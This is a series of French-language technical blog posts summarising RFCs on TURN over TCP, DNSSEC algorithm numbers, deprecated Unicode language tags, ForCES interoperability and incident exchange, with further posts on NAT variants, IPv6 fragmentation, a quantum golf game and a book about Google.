La section 3 rappelle le fonctionnement de TURN : le client TURN ouvre une connexion avec le serveur TURN (qui servira de relais) pour le contrôle (messages TURN, pour ouvrir et fermer des connexions). De plus, pour chaque connexion avec un pair, le client TURN aura une connexion de données pour faire passer ses données (son et image, dans l'exemple précédent), avec divers protocoles (par exemple RTP). Pour chacune de ces connexions de données, il y aura également une connexion entre le relais (le serveur TURN) et le pair avec qui on communique.

Pour avoir une allocation TCP, le client TURN va envoyer, sur la connexion de contrôle, une requête Allocate avec un attribut REQUESTED-TRANSPORT indiquant TCP. Le serveur, s'il accepte la requête, écoutera alors en TCP. Chaque fois qu'il voudra envoyer des donnée à un pair, le client enverra une requête Connect au serveur TURN et celui-ci se connectera à son tour en TCP au pair. Enfin, le client devra ouvrir une nouvelle connexion TCP pour les données (voir section 4.3). Une fois cette dernière connexion établie, le relais « connectera » les deux connexions (client->relais et relais->pair) puis relaiera les données entre les deux pairs.

Dans le cas où le client accepte que ce soit le pair qui initie la session, il indique d'abord au serveur qu'il accepte les connections entrantes (requête CreatePermission), le serveur écoute en TCP et, établit la connexion avec le pair et, lorsque c'est fait, signale au client que le pair est arrivé. Le client peut alors faire une connexion TCP vers le serveur puis tout continue comme dans le cas précédent.

Les détails pratiques figurent dans la section 4 (obligations du client) et 5 (obligations du serveur). On notera que, pour relayer du TCP, la connexion entre le client et le serveur doit être en TCP (pour relayer de l'UDP, elle pouvait être en UDP ou TCP). Outre l'attribut REQUESTED-TRANSPORT déjà mentionné, qui doit avoir la valeur 6 (pour TCP), le client doit prendre soin de ne pas inclure des attributs spécifiques à UDP comme EVEN-PORT (qui force l'utilisation d'un port de numéro pair, et qui n'est utile que pour UDP, voir le RFC 5766, section 14.6). TURN utilisera un attribut CONNECTION-ID qui sera indiqué lors de l'acceptation d'une allocation TCP, et devra être donné par le client lors de sa connexion TCP ultérieure, pour permettre au relais de mettre les deux opérations en correspondance.

Le serveur, lui, doit accepter toutes les connexions TCP entrantes (section 5.3), du moment qu'une allocation a été faite (et, donc, un port réservé). Un essai avec telnet montrera donc toujours Connected to $HOSTNAME. C'est ensuite que le serveur TURN vérifie que le client avait donné la permission de se connecter. Sinon (ou si le client, bien qu'il ait donné la permission, ne se manifeste pas lorsqu'on lui signale que le pair est arrivé), la session, à peine acceptée, sera close d'autorité.

La section 6 décrit l'enregistrement à l'IANA des nouvelles méthodes (Connect, ConnectionBind et ConnectionAttempt), d'un nouvel attribut CONNECTION-ID et de nouveaux codes d'erreur 446 (déjà une connexion pour ce couple adresse/port) et 447 (échec de la connexion avec le pair) dans le registre des paramètres STUN (rappelez-vous que TURN est défini comme une extension de STUN).

Enfin, la section 7, sur la sécurité, met en garde contre un petit piège : entre l'acceptation d'une connexion et son branchement de l'autre côté, le relais risque de recevoir des données, qu'il doit tamponner (section 5.2). Le tampon risquant de devenir trop gros, la section 7 demande qu'une taille maximale lui soit fixée.

Une mise en œuvre se trouve dans le service de Viagénie mais ne semble pas activée à l'heure actuelle. Pour une implémentation libre, turnserver a cette option TCP depuis la version 0.4.

Merci à Simon Perreault pour sa relecture et ses remarques.


Téléchargez le RFC 6062


L'article seul

Jouer au golf avec le chat de Schrödinger

Première rédaction de cet article le 29 novembre 2010


Voici un jeu vidéo qui met en cause les certitudes : Quantum Minigolf, un jeu de golf où la balle est quantique. Suivant les lois physiques, elle n'a pas de position déterminée et elle peut passer à travers des orifices plus petits qu'elle. Pas facile de l'envoyer dans le trou...

Le jeu est un logiciel libre. Je n'ai pas trouvé de paquetage tout fait mais l'installation est simple (ici, sur une Debian « lenny ») :

  • Téléchargement à partir de Sourceforge,
  • Installation des bibliothèques nécessaires, comme indiqué dans la documentation : aptitude install libfftw3-dev libfreetype6-dev libsdl-ttf2.0-dev build-essential,
  • make.

Et on obtient un exécutable qu'on peut lancer. On doit d'abord sélectionner un parcours (track). Plusieurs parcours sont définis par défaut. Dans un parcours, un obstacle blanc est de hauteur infinie, un obstacle gris de hauteur finie et peut donc être franchi par la balle. On fait défiler les parcours existants avec les flèches gauche et droite. <Enter> démarre le jeu. La souris permet de positionner le club et la durée de la pression sur le premier bouton indique la force avec laquelle on tape.

Après tout est possible... Même si la balle (qui a une forme plutôt floue, reflétant la densité de probabilité) semble partie à gauche, elle a une probabilité non nulle d'être à droite. Un autre <Enter> réduit la fonction d'onde et détermine le résultat du jeu. (Rappelez-vous que le chat de Schrödinger n'est ni vivant ni mort tant que vous ne l'observez pas.)

Ici, la balle passe à travers deux trous simultanément : quantumminigolf.jpg

On peut aussi créer ses propres parcours. Les instructions sont dans le README. J'ai utilisé Inkscape mais, comme il ne semble pas capable d'enregistrer au format BMP, j'ai converti le fichier SVG produit par Inkscape avec ImageMagick : convert -verbose tracks/test.svg tracks/test.bmp. Si, au lancement, vous avez un message « no quantum track found », c'est qu'il y a un problème dans le fichier, probablement un mauvais format. En revanche, les messages « failed to load {soft,hard}core potential » peuvent être ignorés.


L'article seul

RFC 6014: Cryptographic Algorithm Identifier Allocation for DNSSEC

Date de publication du RFC : Novembre 2010
Auteur(s) du RFC : P. Hoffman (VPN Consortium)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF dnsext
Première rédaction de cet article le 22 novembre 2010


L'allocation d'un nouveau numéro pour un algorithme cryptographique dans DNSSEC exigeait auparavant un RFC sur le chemin des normes. Désormais, n'importe quel RFC conviendra, ce qui est une libéralisation bienvenue.

Ces numéros sont attribués par l'IANA, stockés dans un registre public et permettent, lorsqu'on récupère un enregistrement DNSSEC, de savoir comment l'interpréter. Ainsi, le TLD .pm est signé avec l'algorithme de numéro 8, soit RSA/SHA-256 :

% dig +dnssec ANY pm.
...
pm.  172800 IN RRSIG SOA 8 1 172800 20100818151448 20100719141448 14659 pm. oepDlhY...

L'espace de nommage de ces codes ne fait qu'un seul octet, soit 256 possibilités seulement. Ce point a fait l'objet d'inquiétudes au moment de la libéralisation de l'allocation.

La norme DNSSEC, le RFC 4034 (section 7), reprenant des normes antérieures, impose un « IETF standards action » pour enregistrer un nouveau code, sauf pour 253 et 254, qui sont utilisables pour de expérimentations sans formalité. Une « IETF standards action », comme nous l'apprend le RFC 5226, est la publication d'un RFC situé sur le chemin des normes. C'est donc une opération plutôt lourde (mais possible : GOST a eu le numéro 12 ainsi, grâce au RFC 5933).

La section 2 du RFC explique le pourquoi de la libéralisation :

  • Certains algorithmes méritants peuvent avoir du mal à passer sur le chemin des normes, par exemple par suite de craintes sur les brevets qui les plombent, ou simplement parce qu'il n'ont pas encore été scrutés avec suffisamment d'attention. (Voir aussi la section 5 pour une discussion sur la sécurité des algorithmes et leur normalisation.)
  • Les demandes sont peu fréquentes (on n'invente pas un nouvel algorithme de cryptographie tous les jours !) et il y a donc peu de chances de voir les huits bits de l'espace occupés immédiatement.

Pour être complètement en sécurité, notre RFC demande à l'IETF de réévaluer les critères d'allocation lorsque 120 entrées du registre auront été allouées (en juillet 2010, on en a 11...). C'est pour cela que la plage 123-251 du registre est marquée comme réservée. Et les codes 253 et 254 restent disponibles pour les expérimentations.

Quelles sont les conséquences pour les mises en œuvre de DNSSEC (section 3) ? D'abord, il faut bien voir qu'un programme qui fait du DNSSEC n'a jamais été obligé d'implémenter tous les algorithmes du registre. Ceci ne change pas. Il y aura donc toujours des algorithmes qui ne seront pas universellement mis en œuvre. Les seuls algorithmes qui sont garantis sont ceux indiqués comme obligatoires dans le RFC 4034 (annexe A.1) ou son successeur. Actuellement, il n'y a que RSA/SHA-1.

Enfin, notons que le RFC précise que l'ordre des algorithmes dans le registre n'implique rien sur leur force cryptographique respective, ou leur sécurité...

Comme notre RFC ne fait que changer une règle d'allocation dans un registre IANA, toute sa partie normative se concentre dans la section 4, « IANA considerations ». En un mot, un RFC de n'importe quel statut suffit désormais pour demander un code dans le registre.


Téléchargez le RFC 6014


L'article seul

Exposé sur la recherche du meilleur pair en réseau P2P (THD)

Première rédaction de cet article le 18 novembre 2010
Dernière mise à jour le 29 novembre 2010


Le lundi 29 novembre au matin, à la Cité des Sciences à Paris, j'ai participé à l'atelier « Réseaux P2P et overlay » du projet THD. Je faisais un exposé sur « La recherche du meilleur pair dans un réseau pair-à-pair ».

Dans un réseau pair-à-pair (par exemple d'échange de fichiers) le contenu convoité est répliqué sur de nombreux pairs à travers le monde. Si on obtient (par le tracker ou par une DHT) une longue liste de pairs possibles, lequel utiliser ? Le meilleur, certes, mais comment le trouver ? Utiliser ping sur 10 000 pairs potentiels pour trouver celui qui répond le plus vite n'est pas réaliste... Comme le montre le RFC 6029, il y a beaucoup d'approches possibles. Ce sera l'occasion de couvrir des techniques comme ALTO (cf. RFC 5693), sur lequel un groupe de travail de l'IETF planche depuis deux ans.


L'article seul

Fiche de lecture : Google God

Auteur(s) du livre : Ariel Kyrou
Éditeur : Inculte
9978-2-916940-38-0
Publié en 2010
Première rédaction de cet article le 18 novembre 2010


Les livres sur Google sont devenus un genre littéraire en soi. On peut désormais remplir sa bibliothèque avec les ouvrages sur ce sujet, allant du plus cireur de pompes émerveillé au paranoïaque délirant. Ce que j'ai apprécié, dans le « Google God » d'Ariel Kyrou est que l'auteur connait le sujet et qu'il est capable de critiquer Google tout en identifiant les raisons pour lesquelles cette entreprise est un succès, notamment ses compétences techniques.

Ariel Kyrou connait, non seulement Google, mais aussi la culture dans laquelle cette entreprise a baigné depuis ses débuts. Il cite d'ailleurs un grand nombre d'auteurs de science-fiction, l'une de ses thèses étant que, pour comprendre Google, il faut comprendre les livres que lisent ses fondateurs et ingénieurs.

On est donc loin d'un livre comme « Google-moi » dont l'auteur étalait surtout son ignorance du sujet, et citait Kant et Platon quand Kyrou cite Philip Dick.

Cet angle de vue original permet à l'auteur d'expliquer pas mal de choses surprenantes chez Google, une entreprise qui mélange une culture libertaire et une réussite capitaliste. Ainsi, selon Kyrou, c'est précisément parce que les fondateurs de Google n'aimaient pas la publicité et s'en méfiaient que Google a tellement bien réussi sur ce plan. Les concurrents de Google, adorateurs de Madison Avenue, noyaient leurs pages sous de ridicules et immenses bandeaux publicitaires, qui ont fini par dégoûter les lecteurs. Google, plus prudent, a choisi des publicités discrètes et elles ont été beaucoup mieux acceptées, permettant à Google de saisir une grande part du gâteau publicitaire.

Kyrou s'attaque aussi à la question délicate de savoir si Google sert ses utilisateurs ou bien s'il se sert d'eux, exploitant leur ignorance. L'auteur estime que la question n'est pas bien posée : citant Yann Moulier-Boutang, il estime que les rapports de Google avec ses utilisateurs sont ceux d'un apiculteur avec ses abeilles. L'apiculteur exploite-t-il les abeilles ? Certainement, et pourtant il a intérêt à ce qu'elles vivent et prospèrent, donc il les soigne. Et les abeilles, contrairement au poulet en batterie, sont « volontaires », elles retournent à la ruche sans contrainte.

Bref, nous, les utilisateurs de Google, nous sommes des petites abeilles, pollinisant tous les jours gratuitement la grande ruche de la connaissance...


L'article seul

Le zoo des systèmes de traduction d'adresse IP

Première rédaction de cet article le 16 novembre 2010


La réunion IETF 79 à Pékin a été l'occasion de mettre à jour mes connaissances sur les derniers progrès du jargon IETF et notamment d'apprendre la nouvelle liste des variantes du NAT, où des numéros indiquent la version d'IP utilisée.

On trouve ainsi :

  • NAT44 : un niveau de traduction, de IPv4 vers IPv4. C'est le NAT traditionnel, que Linux avait été le premier système à introduire, sous le nom de IP masquerading. En raison du manque d'adresses IPv4, il n'y a en général qu'une seule adresse IP externe et le routeur ne fait donc pas de la réelle traduction d'adresses (NAT) mais de la traduction « adresse et port » (NAPT pour Network And Port Translation), il traduit les adresses internes en tuples adresse_externe+port. C'est ce NAT44 dont les inconvénients sont décrits dans les RFC 2663, RFC 3424 et RFC 5128 et pour lequel le groupe de travail Behave v1 a proposé plusieurs bonnes pratiques qui limitent les dégâts (cf. RFC 4787, RFC 5382, RFC 5508, etc). C'est lui qui impose aux serveurs publics de désormais journaliser le port en même temps que l'adresse (autre gros sujet de discussion à Pékin)
  • NAT46 et NAT64 sont les cas où on traduit de IPv4 en IPv6 (cas d'un réseau ancien qui accède à un Internet IPv6) ou réciproquement (cas d'un réseau récent qui veut accéder à l'Internet traditionnel). C'est cette technique qui était normalisée à l'origine dans le RFC 2766 (abandonné par la suite car trop complexe) et qui fait désormais l'attention du groupe de travail Behave v2, qui a produit des RFC normalisant l'utilisation de la traduction d'adresses pour faire coexister IPv4 et IPv6 (RFC 6052, RFC 6144, etc). Notons que le mécanisme de transition envisagé à l'origine, la double-pile (toutes les machines ont une adresse IPv4 et une adresse IPv6, tant que la transition dure), a été annulé par l'insuffisant déploiement d'IPv6 (cf. RFC 5211).
  • Mais, désormais, on applique la logique Shadok à son maximum : « pourquoi faire simple quand on peut faire compliqué ? » C'est ainsi qu'est né le NAT444, technique déjà largement déployée par des FAI, notamment en Asie et Afrique. Il s'agit ici d'avoir deux niveaux de traduction successifs, entre le réseau local de l'utilisateur et celui du FAI, puis entre celui du FAI et l'Internet. Le RFC 5684 expose en détail les conséquences néfastes que cela peut avoir, si les adresses privées des deux côtés sont dans le même préfixe. Une bonne partie des discussions à la réunion IETF de Pékin tournait autour de la demande de réservation d'un préfixe /10 pour l'adressage des réseaux internes des FAI, limitant ainsi certains des risques évoqués par ce RFC. Autre problème avec NAT444, s'il existe des mécanismes standard permettant à une machine de détecter son adresse IP publique (RFC 5389), l'adresse intermédiaire, elle, est complètement invisible.
  • Quant à NAT66, il s'agit de traduction entre IPv6 et IPv6 (RFC 6296). Cette fois, vue l'abondance des adresses IPv6, on peut faire de la vraie traduction d'adresses, sans numéro de port, chaque adresse interne correspondant à une et une seule adresse externe. Mais, justement, puisque les adresses IPv6 sont abondantes, pourquoi diable faire du NAT ? Eh bien certaines personnes croient voir des avantages au NAT, même sans qu'il y ait de pénurie d'adresses (par exemple, une légende fréquente est que le NAT améliore la sécurité). Un RFC de l'IAB, le RFC 5902 détaille ainsi la question du NAT sur IPv6 et explique que, bien que ce soit une mauvaise idée, il faut sans doute s'attendre à le voir arriver. En tout cas, c'est bien plus facile à programmer (pas besoin de conserver un état, il suffit juste de remplacer une adresse par une autre) comme le montre le programme C ropitault-nat66.tar.gz dû à Tanguy Ropitault (merci !).
  • Encore plus amusant à déboguer, NAT464 et NAT646, pas encore déployés, et qui permettraient, pour le premier, de connecter le réseau local IPv4 du client (IPv4, car rempli de vieilles machines n'ayant que v4) au réseau IPv6 du FAI (pour le cas d'un FAI récent qui n'a pas eu d'allocation v4 du tout) puis à l'Internet traditionnel resté v4 et, pour le second mécanisme, NAT646, à un réseau local composé d'objets récents purement v6, de se connecter au réseau d'un FAI traditionnaliste resté en v4 et de là à un Internet passé en v6.
  • Et pourquoi s'arrêter en si bon chemin ? Comme personne n'ose dire aux bricoleurs qu'ils travaillent salement, cela peut continuer, et on verra peut-être apparaître du NAT4444 (trois niveaux de traduction)...

Bref, c'était plus simple avant. Le modèle IP tel qu'il était enseigné aux débutants (adresse IP unique au niveau mondial, connectivité de bout en bout (toute machine IP peut envoyer un paquet à toute autre qui le désire), et transparence du réseau (le paquet ne sera pas modifié en cours du route), ce modèle dont la simplicité est largement responsable du succès de l'Internet, est désormais très menacé, pour le plus grand plaisir de ceux qui n'ont jamais vraiment accepté que les machines et, derrière elles, leurs utilisateurs, puissent communiquer facilement.


L'article seul

Fragmentation IPv6 : se résigner à couper à 1280 octets ?

Première rédaction de cet article le 12 novembre 2010


Les réunions IETF sont toujours l'occasion de discussions intéressantes à table. À l'IETF 79 à Pékin, une vive discussion a ainsi fait irruption au dessus du canard laqué de midi : ne faudrait-il pas changer les algorithmes utilisés pour faire de la fragmentation en IPv6 ? Rémi Després (auteur du RFC 5569) suggérait en effet de ne pas envoyer de paquets de plus de 1280 octets lorsqu'on sort du réseau local.

Un petit détour d'abord, avant de discuter de cette proposition. Comment fonctionne la fragmentation dans IP ? Elle est très différente en IPv4 et en IPv6. En IPv4, l'émetteur d'un paquet (le RFC sur IPv4, le RFC 791 parle en général de datagram et celui sur IPv6, le RFC 2460, de packet, je vais juste dire paquet en considérant que c'est un synonyme de datagramme) suit la MTU du réseau local (typiquement 1500 octets, la MTU d'Ethernet). Si, plus tard sur le chemin, un lien a une MTU plus faible (par exemple parce qu'on entre dans un tunnel), le routeur qui émet sur ce lien fragmente le paquet (RFC 791, section 2.3) . Comme cette fragmentation ralentit les routeurs (et que le réassemblage ultérieur ralentit les machines de destination), une optimisation existe, la PMTUD (Path MTU Discovery, RFC 1191), qui permet de découvrir la MTU du chemin complet (c'est la MTU du lien ayant la plus petite) et donc d'envoyer uniquement des paquets d'une taille telle qu'ils passeront. Cette méthode est peu fiable en pratique (RFC 2923) en raison notamment de l'incompétence d'administrateurs réseaux qui bloquent tout ICMP. On pourrait certes résoudre le problème en massacrant sauvagement tous les incompétents mais cela prendrait du temps. Et, pour IPv4, ce n'est pas forcément indispensable puisque, si l'émetteur ne peut pas fragmenter, les routeurs intermédiaires le feront.

Mais IPv6 est très différent : cette fois, les routeurs intermédiaires n'ont plus le droit de fragmenter, seule la machine émettrice le peut. Elle doit donc faire quelque chose du genre (en pseudo-code) :

if is_link_local(destination) {
    packet_size := mtu(interface)
}
else { /* Destination distante */
   packet_size := path_mtu_discovery(destination)
}
/* Ensuite, on découpe les données en paquets de taille packet_size. */

(Pour un exemple réel, voir net/ipv6/ip6_output.c dans Linux ou sys/netinet6/ip6_output.c sur FreeBSD.) L'algorithme de PMTUD (spécifié, pour IPv6, dans le RFC 1981) devient alors indispensable.

Or, il n'est pas plus fiable en IPv6 qu'en IPv4, alors même que le pourcentage plus élevé de tunnels, ayant une MTU < 1500 octets, le rend plus nécessaire. Résultat, tous les gens qui essaient de faire de l'IPv6 pour de bon (et pas seulement d'en parler dans les colloques) souffrent de ce genre de problèmes. Par exemple, un pare-feu configuré avec les pieds bloque tous les paquets ICMP (une énorme erreur de configuration, mais très fréquente), alors qu'un tunnel, par exemple 6rd, se trouve sur le chemin, avec une MTU plus faible que 1500 octets. Résultat, le message ICMP « Attention, ce paquet est trop gros, il ne passera pas » n'est pas reçu par l'émetteur. La PMTUD déduit donc à tort que la MTU du chemin est de 1500 octets, IP envoie des paquets de cette taille... et ils ne sont jamais reçus. Pour un exemple concret, voir, par exemple, mon exposé à l'OARC sur les conséquences de la signature DNSSEC de .fr, qui a augmenté la taille des paquets au delà de 1500.

Il existe des solutions ponctuelles (comme le RFC 4821 qui est spécifique à TCP et n'aurait donc pas aidé pour des problèmes UDP comme ceux que je cite plus haut) mais pas de solution générale (à part l'extermination totale des administrateurs réseaux qui bloquent l'ICMP).

Donc, que proposait Rémi Després ? Avant de résumer sa proposition, je précise que c'est mon résumé et qu'il n'est pas responsable de mes éventuelles erreurs ou incompréhensions. Donc, son idée, si j'ai bien compris, est d'admettre que la découverte de la MTU du chemin complet ne fonctionne pas réellement et d'exploiter le fait qu'IPv6 impose une MTU minimale qui est assez raisonnable : 1280 octets (RFC 2460, section 5, elle n'était que de 68 octets en IPv4). On peut donc renoncer à la PMTUD et remplacer l'algorithme présenté plus haut par :

if is_link_local(destination) {
    packet_size := mtu(interface)
}
else { /* Destination distante */
   packet_size := 1280
}
/* Ensuite, on découpe les données en paquets de taille packet_size. */

Ce n'est peut-être pas très glorieux mais au moins cela marchera dans tous les cas. (Une version encore moins glorieuse serait obtenue en abaissant la MTU du lien à 1280, par exemple avec ifconfig eth0 mtu 1280. Dans ce cas, même les paquets pour le réseau local seraient plus petits.) Les programmeurs FreeBSD noteront que ce système dispose d'une option de setsockopt(), IPV6_USE_MIN_MTU, qui met exactement en œuvre cet algorithme. Voir ip6(4). Certains protocoles IPv6 comme Teredo ont déjà une telle règle (cf. RFC 4380, section 5.1.2.

Quelles seraient les conséquences pratiques d'un tel algorithme ? D'une part une augmentation de la taille relative des en-têtes : l'en-tête IPv6 étant de taille fixe, plus le paquet est petit, plus la part des en-têtes (la header tax) est élevée (elle passerait de 2,7 % à 3,1 % mais ce calcul ne s'applique qu'aux paquets de la taille maximale ; dans une session TCP, la moitié des paquets sont des accusés de réception, de bien plus petite taille). D'autre part, le coût de traitement d'un paquet dans les équipements réseau comme les routeurs et les commutateurs est relativement indépendant de leur taille. En réduisant la taille des paquets, on augmente leur nombre (de 17 %) et donc la charge des équipements réseau. Alors qu'il faudrait plutôt augmenter la taille des paquets au delà de 1500 octets pour les réseaux à haute performance d'aujourd'hui, se résigner à une taille réduite serait dommage. Mais peut-être n'aura-t-on pas le choix...


L'article seul

Comment résister aux agressions, une bactérie raconte

Première rédaction de cet article le 10 novembre 2010


Un article de Sandrine Etien dans La Recherche (numéro de novembre 2010), parle de la résistance inattendue d'une bactérie, Deinococcus radiodurans, aux radiations. Peut-on en tirer des leçons pour la fiabilité des réseaux informatiques comme l'Internet ?

Cette Deinococcus radiodurans résiste à des doses de radiations qui tueraient n'importe quel autre organisme (doses 50 à 100 fois plus élevées que la dose mortelle pour les autres bactéries). Comment fait-elle ? La plupart du temps, les radiations tuent en brisant l'ADN de la bactérie. Celle-ci peut certes réparer quelques coupures de son ADN mais il y a des limites : si la dose de radiation est suffisamment forte, l'ADN est coupée en tellement de morceaux (des centaines) qu'il cesse d'être réparable et la bactérie meurt. La résistance étonnante de Deinococcus radiodurans était autrefois attribuée à une solidité particulière de son ADN. Or, l'étude de K. Zahradka et ses collègues a montré que non, l'ADN de cette bactérie n'était pas plus solide qu'un autre, la survie de la bactérie tient essentiellement à ses capacités de réparation : Deinococcus radiodurans fait des backups. Quatre à dix copies de son ADN sont stockées à divers endroits de la bactérie. En cas de cassure, le mécanisme de réparation peut utiliser ces copies (puisque les cassures n'ont pas lieu au même endroit pour toutes) afin de reconstituer l'ADN original.

Mais Deinococcus radiodurans ne s'arrête pas là. Elle dispose aussi de mécanismes de protection de son mécanisme de réparation (car les radiations peuvent aussi endommager ce dernier). Et on n'a sans doute pas encore trouvé toutes les techniques de survie qui permettent à cette bactérie de résister, par exemple, à la stérilisation des conserves par irradiation.

Quelles leçons en tirer pour la protection de votre présence sur Internet ? D'abord qu'il ne faut pas forcément chercher uniquement la dureté aux attaques mais aussi la capacité de réparation. Avoir des données protégées, c'est bien. Avoir des copies en de nombreux endroits, c'est mieux. Ensuite, qu'aucune technique ne résout tous les problèmes à elle seule et qu'il faut donc disposer d'une boîte à outils bien garnie, permettant de faire face à toutes les situations. La « super-bactérie » devrait être plus souvent étudiée avant de concevoir des architectures informatiques résistantes...

(Aucun des articles scientifiques utilisés ici ne semble en ligne. Les mêmes scientifiques qui se plaignent qu'on utilise Wikipédia au lieu de Nature devraient se demander pourquoi...)


L'article seul

RFC 6082: Deprecating Unicode Language Tag Characters: RFC 2482 is Historic

Date de publication du RFC : Novembre 2010
Auteur(s) du RFC : K. Whistler (Sybase), G. Adams (Skynav), M. Duerst (Aoyama Gakuin University), R. Presuhn, J. Klensin
Pour information
Première rédaction de cet article le 8 novembre 2010


Parfois, il y a des mauvaises idées. Parfois, elles sont même inscrites dans un RFC et sont alors utilisées. Lorsqu'une idée est reconnue comme mauvaise, il faut alors savoir l'abandonner. C'est ce que fait ce RFC 6082 qui abandonne officiellement l'idée du RFC 2482 qui fournissait un mécanisme d'indication de la langue utilisée, dans un texte brut en Unicode.

Le RFC 2482 réservait plusieurs caractères Unicode entre U+E0000 et U+E007F à des fins d'étiquetage, pour indiquer la langue utilisée pour écrire un texte. Par exemple, U+E0001 U+E006A U+E0061 (caractère language tag, puis caractère tag letter j puis enfin tag letter a) indiquait un texte en japonais (ja étant le japonais pour les étiquettes de langue). Il n'a pas été tellement utilisé en pratique et, aujourd'hui, a été remplacé par des mécanismes d'étiquetage globaux (comme l'en-tête Content-Language: du RFC 3282) pour le texte brut ou bien par des mécanismes plus fins pour les documents structurés (par exemple l'attribut xml:lang pour les textes en XML). Le consortium Unicode a officiellement abandonné ce mécanisme (section 16.9 de la norme Unicode 5.2) et notre RFC 6082 a été fait pour éviter que des implémenteurs tombent sur le RFC 2482 et ne le mettent en œuvre en le croyant toujours d'actualité.

Fin du parcours, donc, pour le RFC 2482, qui entre ainsi dans la catégorie « Intérêt historique uniquement » (catégorie décrite dans la section 4.2.4 du RFC 2026).


Téléchargez le RFC 6082


L'article seul

RFC 6053: Implementation Report for ForCES

Date de publication du RFC : Novembre 2010
Auteur(s) du RFC : E. Haleplidis (University of Patras), K. Ogawa (NTT Corporation), W. Wang (Zhejiang Gongshang University), J. Hadi Salim (Mojatatu Networks)
Pour information
Réalisé dans le cadre du groupe de travail IETF forces
Première rédaction de cet article le 8 novembre 2010


C'est bien joli de spécifier des protocoles réseau, encore faut-il qu'ils soient implémentés. Une des raisons pour lesquels les protocoles de la famille TCP/IP ont battu à plate couture les protocoles ISO, pourtant soutenus par divers moyens bureaucratiques, est l'accent mis sur la disponibilité de programmes mettant en œuvre les spécifications, les RFC. Ces programmes permettent de vérifier que la norme est implémentable (contrairement à beaucoup de normes qui sont restés sur le papier car irréalistes) et que les différentes implémentations interopèrent. Ce RFC 6053 est le rapport décrivant trois mises en œuvre du protocole ForCES (Forwarding and Control Element Separation, un protocole de communication à l'intérieur d'un routeur, entre ses divers éléments). Il suit donc les règles et principes du RFC sur les rapports d'implémentation, le RFC 5657.

Un petit rappel d'abord. ForCES (Forwarding and Control Element Separation), normalisé dans le RFC 5810, définit un modèle (RFC 3746) où le routeur est composé de CE (Control Element) qui pilotent des FE (Forwarding Element). Les CE parlent les protocoles de routage comme OSPF, les FE font la transmission des paquets. Entre CE et FE, les messages ForCES peuvent être transmis par plusieurs protocoles, le plus utilisé (car le seul qui soit obligatoire) étant SCTP-TML (SCTP-based Transport Mapping Layer) normalisé dans le RFC 5811 et fondé sur SCTP. (Voir la section 2 pour des rappels plus complets.)

Place aux tests, maintenant. Trois mises en œuvre indépendantes ont été testées (section 3) : celle de NTT, celle de l'université de Patras, et celle de l'université de Zhejiang Gongshang (aucune des trois n'est distribuée publiquement pour l'instant). Les tests ont été globalement couronnés de succès, la plupart des bogues ont été corrigées immédiatement, les manques ayant été identifiés et les programmeurs ayant promis qu'ils les combleraient bientôt. Le test d'interopérabilité a été fait en juillet 2009. Les chinois n'étaient pas présents physiquement sur le lieu du test, ce qui a été l'occasion de tester ForCES sur une longue distance, et à travers le NAT. Outre les trois implémentations citées, le test mettait en jeu des modifications locales de deux analyseurs réseaux répandus, Wireshark et tcpdump. (Le travail sur Wireshark a été publié dans « Method and implementation of building ForCES protocol dissector based on wireshark » par Feng Luo, Ligang Dong et Fenggen Jia, à la conférence Information Management and Engineering (ICIME), 2010. Le patch se trouve dans la bogue #3534. Quant à tcpdump, la gestion de ForCES a été intégrée à partir de la 4.1.1. Vous pouvez voir des exemples en ligne.)

Comment se fait un tel test d'interopérabilité ? La section 4 résume la méthodologie suivie. Les développeurs ont d'abord rempli un questionnaire où ils devaient indiquer quelle étaient les fonctions de ForCES que leur programme gérait. Les différents programmes ont ensuite été mis l'un en face =de l'autre dans le labo et ont échangé des messages. Le bon fonctionnemement a été vérifié à la fois par les réactions des programmes et par l'examen des sniffers. Quelques raccourcis ont été pris (section 5). Par exemple, bien qu'IPsec soit obligatoire pour SCTP-TML, il n'a pas été testé, en considérant qu'IPsec était un protocole suffisamment mûr pour qu'on puisse se dispenser de le tester.

La section 6 donne tous les détails des tests, des messages testés, et de leurs résultats. Par exemple, un des tests était d'activer le heartbeat (l'envoi de messages réguliers, permettant de vérifier que le système fonctionne toujours) sur un FE (section 6.1.2.6), puis de changer l'intervalle d'émission des battements.

On l'a dit, le test a été globalement réussi. Mais il y a eu quelques petits problèmes, listés dans la section 6.2.3. Par exemple, une ambiguité est apparue dans la section 4.2.1.2 du RFC 5811 (qui n'était pas encore publié au moment du test, et qui a finalement été publié en corrigeant l'ambiguité) quant au niveau de priorité à donner à une réponse lorsque la question n'avait pas le niveau de priorité standard. Il y avait aussi de franches bogues, comme le FE et le CE attendant tous les deux une action et se bloquant mutuellement ou bien comme un mauvais calcul du champ « longueur » des messages (qui ne doit pas inclure les bits de remplissage). Il y avait aussi des problèmes qui n'étaient de la faute, ni de la norme, ni du programme mais qui reflétaient des limites de ForCES (comme la détection trop lente, dans certains cas, des coupures de la liaison entre CE et FE : SCTP-TML n'est pas forcé de réagir en temps réel à une telle coupure).

Deux autres RFC sur la mise en œuvre de ForCES sont le RFC 6369 et le RFC 6984, ce dernier rendant compte d'un test d'interopérabilité équivalent, mais plus récent.


Téléchargez le RFC 6053


L'article seul

RFC 6045: Real-time Inter-network Defense

Date de publication du RFC : Novembre 2010
Auteur(s) du RFC : Kathleen M. Moriarty (EMC)
Intérêt historique uniquement
Première rédaction de cet article le 8 novembre 2010


La sécurité, face aux innombrables attaques que connaissent les réseaux tous les jours, nécessite un échange d'information permanent. Ce RFC normalise donc un format permettant d'échanger et de traiter ce genre d'informations (depuis mis à jour dans le RFC 6545). Il sera donc peut-être un outil technique utile pour les CSIRT et les opérateurs.

La section 1 résume les problèmes de la sécurité des réseaux auxquels les opérateurs font face. Une fois l'attaque détectée, que ce soit un hameçonnage, une DoS ou une pénétration réussie dans un système connecté au réseau, il faut rédiger un rapport, transmettre à l'opérateur d'origine de l'attaque, demander à un opérateur amont de prendre des mesures pour limiter les dégâts, demander de continuer l'enquête en suivant la trace de l'attaquant, etc. Par exemple, si on veut suivre une trace de paquets dont l'adresse IP source est mensongère, et que le filtrage recommandé par le RFC 2827 n'est pas en place, il faut repérer par quel câble sont entrés ces paquets et envoyer ensuite à l'opérateur situé derrière une demande de continuation de l'enquête. Il n'y a pas de mécanisme formel pour cela. Ça se fait typiquement par téléphone ou par envoi d'un courrier en langue naturelle, ce qui augmente les coûts de traitement.

